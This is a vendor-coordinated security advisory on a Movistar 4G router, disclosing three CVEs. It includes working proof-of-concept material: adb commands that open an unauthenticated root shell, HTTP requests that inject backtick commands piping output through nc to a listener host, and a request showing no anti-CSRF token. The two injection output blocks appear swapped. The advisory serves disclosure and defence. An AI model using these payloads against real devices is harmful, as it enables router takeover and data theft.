IOActive Security Advisory

Title	Movistar 4G Router – Multiple Vulnerabilities
Severity	Two critical and One High
Discovered by	Gabriel Gonzalez
Advisory Date	2024-03-22

Affected Product

- Movistar 4G Router – Version: ES_WLD71-T1_v2.0.201820

Timeline

- 2021-09-14: Initial Contact with the vendor
- 2021-10-22: Firmware has been patched
- 2021-10-30: Firmware in testing environment.
- 2021-11-26: Mass deployment initiated, it will finalize in January 2022
- 2023-10-17: Requested CVEs
- 2024-03-13: CVEs published
- 2024-03-22: IOActive advisory published

Pre-Auth root Shell via Enabled Network ADB [CVE-2024-2414]

Severity: Critical

Threat and Impact

IOActive found that the Android Debug Bridge (ADB) is listening on all interfaces and gives access to a shell with root privileges

A malicious actor with access to the same network that the router is providing access to will have full control of the device.

Proof of Concept

```
$ adb connect 192.168.8.1:5555
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.8.1:5555
$ adb shell
/ # uname -a
Linux router.movistar 3.18.20 #1 PREEMPT Mon Apr 27 14:55:31 CST 2020
armv7l GNU/Linux
/ # netstat -pan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address
State       PID/Program name
tcp        0      0 0.0.0.0:53              0.0.0.0:*
LISTEN      11346/dnsmasq
tcp        0      0 0.0.0.0:443             0.0.0.0:*
LISTEN      3208/lighttpd
tcp        0      0 0.0.0.0:44380           0.0.0.0:*
LISTEN      3219/tinyproxy
tcp        0      0 127.0.0.1:5037          0.0.0.0:*
LISTEN      295/adbd
tcp        0      0 0.0.0.0:80              0.0.0.0:*
LISTEN      3208/lighttpd
tcp        0      0 0.0.0.0:52881           0.0.0.0:*
LISTEN      3490/wscd
tcp        0      0 0.0.0.0:5555            0.0.0.0:*
LISTEN      295/adbd
```

Recommendations

Fully disable ADB access on production devices.

Post-Auth root Command Injection [CVE-2024-2415]

Severity: Critical

Threat and Impact

A malicious actor can send a specific payload to the `gui.cgi` using the `ping_traceroute_process` functionality to execute arbitrary commands as the privileged root user.

This is a post-auth vulnerability that could be used along with the “Lack of CSRF Protection” issue to trick an end user into executing commands or to pull the firmware from the device and perform further investigation.

Proof of Concept

Below are two examples of payloads sent to the router and their corresponding outputs. The highlighted text is the actual injection.

Command:

```
POST /cgi-bin/gui.cgi?_=0.6416830405117837 HTTP/1.1
Host: 192.168.8.1
Content-Length: 146
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159
Safari/537.36
Content-Type: json
Origin: http://192.168.8.1
Referer: http://192.168.8.1/system/diagnosis.html
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: CGISID=Wwooeo6X1cCvMkswNINvY35UbZmLg
Connection: close
{"action":"ping_traceroute_process","args":{"url":"`id | nc
192.168.8.100
4444`","cmd":"ping","cnt":3,"packetsize":32,"timeout":4,"nofragment":0}
}
```

Output:

```
$ nc -l 4444
Linux router.movistar 3.18.20 #1 PREEMPT Mon Apr 27 14:55:31 CST 2020
armv7l GNU/Linux
```


Command:

```
POST /cgi-bin/gui.cgi?_=0.6416830405117837 HTTP/1.1
Host: 192.168.8.1
Content-Length: 146
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159
Safari/537.36
Content-Type: json
Origin: http://192.168.8.1
Referer: http://192.168.8.1/system/diagnosis.html
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: CGISID=Wwooeo6X1cCvMkswNINvY35UbZmLg
Connection: close
{"action":"ping_traceroute_process","args":{"url":"`uname -a | nc
192.168.8.100
4444`","cmd":"ping","cnt":3,"packetsize":32,"timeout":4,"nofragment":0}
}
```

Output:

```
$ nc -l 4444
uid=0(root) gid=0(root)
```

Recommendations

Sanitize user input.

Force arguments as parameters. Avoid concatenating strings prior to execution

Lack of CSRF Protection [CVE-2024-2416]

Severity: High

Threat and Impact

IOActive saw a general lack of protection against cross-site request forgery (CSRF) attacks. A CSRF attack works by including a link or script in a page or email that accesses a site known to be vulnerable and which has unexpired authentication.

During a CSRF attack, unauthorized commands are transmitted from a user that the web application trusts in a manner that is difficult or impossible for the web application to differentiate from normal actions from the targeted user. As a result, attackers may trick application users into performing critical application actions that include, but are not limited to, adding and updating accounts.

Proof of Concept

The following captured request does not include any type of anti-CSRF token or header:

```
POST /cgi-bin/gui.cgi?_=0.6416830405117837 HTTP/1.1
Host: 192.168.8.1
Content-Length: 146
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159
Safari/537.36
Content-Type: json
Origin: http://192.168.8.1
Referer: http://192.168.8.1/system/diagnosis.html
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: CGISID=Wwooeo6X1cCvMkswNINvY35UbZmLg
Connection: close
{"action":"ping_traceroute_process","args":{"url":"test
cmd":"ping","cnt":3,"packetsize":32,"timeout":4,"nofragment":0}}
```

Recommendations

Include a token in the response from the device that can be sent from the browser with each request. The token should be unique per user and session, non-predictable, and secret.

